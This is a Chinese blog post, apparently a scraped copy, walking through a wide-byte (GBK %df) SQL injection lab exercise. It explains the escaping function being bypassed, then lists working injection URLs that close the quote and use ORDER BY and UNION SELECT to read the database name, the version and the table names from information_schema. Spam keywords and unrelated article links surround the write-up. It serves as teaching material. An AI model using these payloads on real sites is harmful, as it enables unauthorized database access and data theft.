当前位置: 首页 > news >正文

网站开发工具有哪些北京建机网站

网站开发工具有哪些,北京建机网站,成都公司的网站制作,个人做网站能备案吗一:宽字节注入 先查看源码 观察转义函数 check_addslashes()里面的三行表达式 第一行 $string preg_replace(/. preg_quote(\\) ./, "\\\\\\", $string); part1: /. preg_quote(\\) ./转义了反斜杠:假设我们输入a\b 先在preg_quote进行第一…

一:宽字节注入

先查看源码

观察转义函数 check_addslashes()里面的三行表达式

第一行

 $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);  part1: '/'. preg_quote('\\') .'/'

转义了反斜杠:假设我们输入a\b

                先在preg_quote进行第一层转义,将 \ 转义为两个反斜杠,输出 /\\/ 

                然后再替换字符串 \\\\\\,实际表示出三个反斜杠,因为第一\是php解析层,解析完变成 \\\\,第二圈是正则表达式解析层,所以实际表示三个反斜杠

                所以会输出a\\\b;

作用:把字符串所有的 \ 替换成 \\

第二行

$string = preg_replace('/\'/i', '\\\'', $string);

 作用:把所有的 ' 替换成 \'

第三行

$string = preg_replace('/\"/', "\\\"", $string);

 作用:把所有的 ” 替换成 \"

反斜杠( \ )在编程中是转义字符,可以让后面的特殊字符失去其特殊意义

例如,\'  表示 " 这是一个普通的单引号,不是SQL语句的结束符 "

宽字节的格式是在地址后面加一个%df,再加单引号,

因为反斜杠的编码是%5c,连起来%df&5c对应GBK编码中的 ‘ 運 ’ 字,也就是说,数据库实际看到的是

SELECT * FROM users WHERE id='運' OR 1=1 --'

这样单引号就成功逃逸出来了,也就是说 or 1=1的恶意代码执行了 

二:判断闭合类型

输入?id=1',可以通过提示发现被转义了

我们尝试宽字节注入 ,成功报错

?id=1%df%27

--+尝试闭合 

​编辑 文章

闭合成功

三:开始注入:

1.爆列数

?id=1%df%27%20order%20by%201,2,3,4--+

2.爆回显位 

?id=-1%df%27%20union%20select%201,2,3--+

3.爆库名和版本号

?id=-1%df%27%20union%20select%201,database(),version()--+

 4.联合查询爆表名,行数:

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

❀❀❀ 完结撒花!!!❀❀❀ 

http://www.dtcms.com/a/554211.html

相关文章:

  • 如何使用Selenium做自动化测试?
  • 百元级「枪球联动」IPC 速成方案
  • 响应式网站是什么意思wordpress默认用某一号字体
  • Java基础——常用API4
  • 深度拆解 Lua VM 栈结构:数据存储、操作逻辑与边界处理
  • Nginx入门基础-网页状态码
  • 网站排名乐云seo设计图标logo
  • 【JAVA全栈项目】弧图图-智能图床 SpringBoot+Vue3 :[框架开荒:一文全步骤打通前后端项目全流程]
  • Python 第二十四节 Pythong中网络编程相关详细使用及案例
  • 好文与笔记分享 A Survey of Context Engineering for Large Language Models(中)
  • 英文网站推广网站前端程序制作开发
  • 寻找在山西运城专业做网站推广的中关村网站建设的公司
  • 微前端架构深度解析:从概念到落地的完整指南
  • 中国电力建设集团网站群做网站jsp好还是
  • 如何创建一个简单的网页南京企业网站做优化
  • 黑马JAVA+AI 加强09-2 IO流-文件字节输入流-文件字节输出流-文件字符流-文件字符输出流
  • Parasoft C/C++test如何在ARM DS-5环境中进行测试(下)
  • 佛山销售型网站建设重庆网红
  • Linux基础 -- 零拷贝之 splice
  • Go 协程
  • 做网站时怎样图片上传怎么才能让图片不变形有什么插件吗淄博住房和城乡建设局网站
  • leetcode1312.让字符串成为回文串的最少插入次数
  • 宜春做网站 黑酷seo快递网站建站需要什么
  • org.apache.commons.lang3都有什么常用的类
  • edas会议投稿显示格式错误+消除浮动块下面的空白
  • 宁波建设网站公司北京seo案例
  • 虚拟网站仿制教程河南国控建设集团招标网站
  • viewerjs+vue3 using typescript
  • U81904 【模板】树的直径
  • 如何将React自定义语法转化为标准JavaScript语法?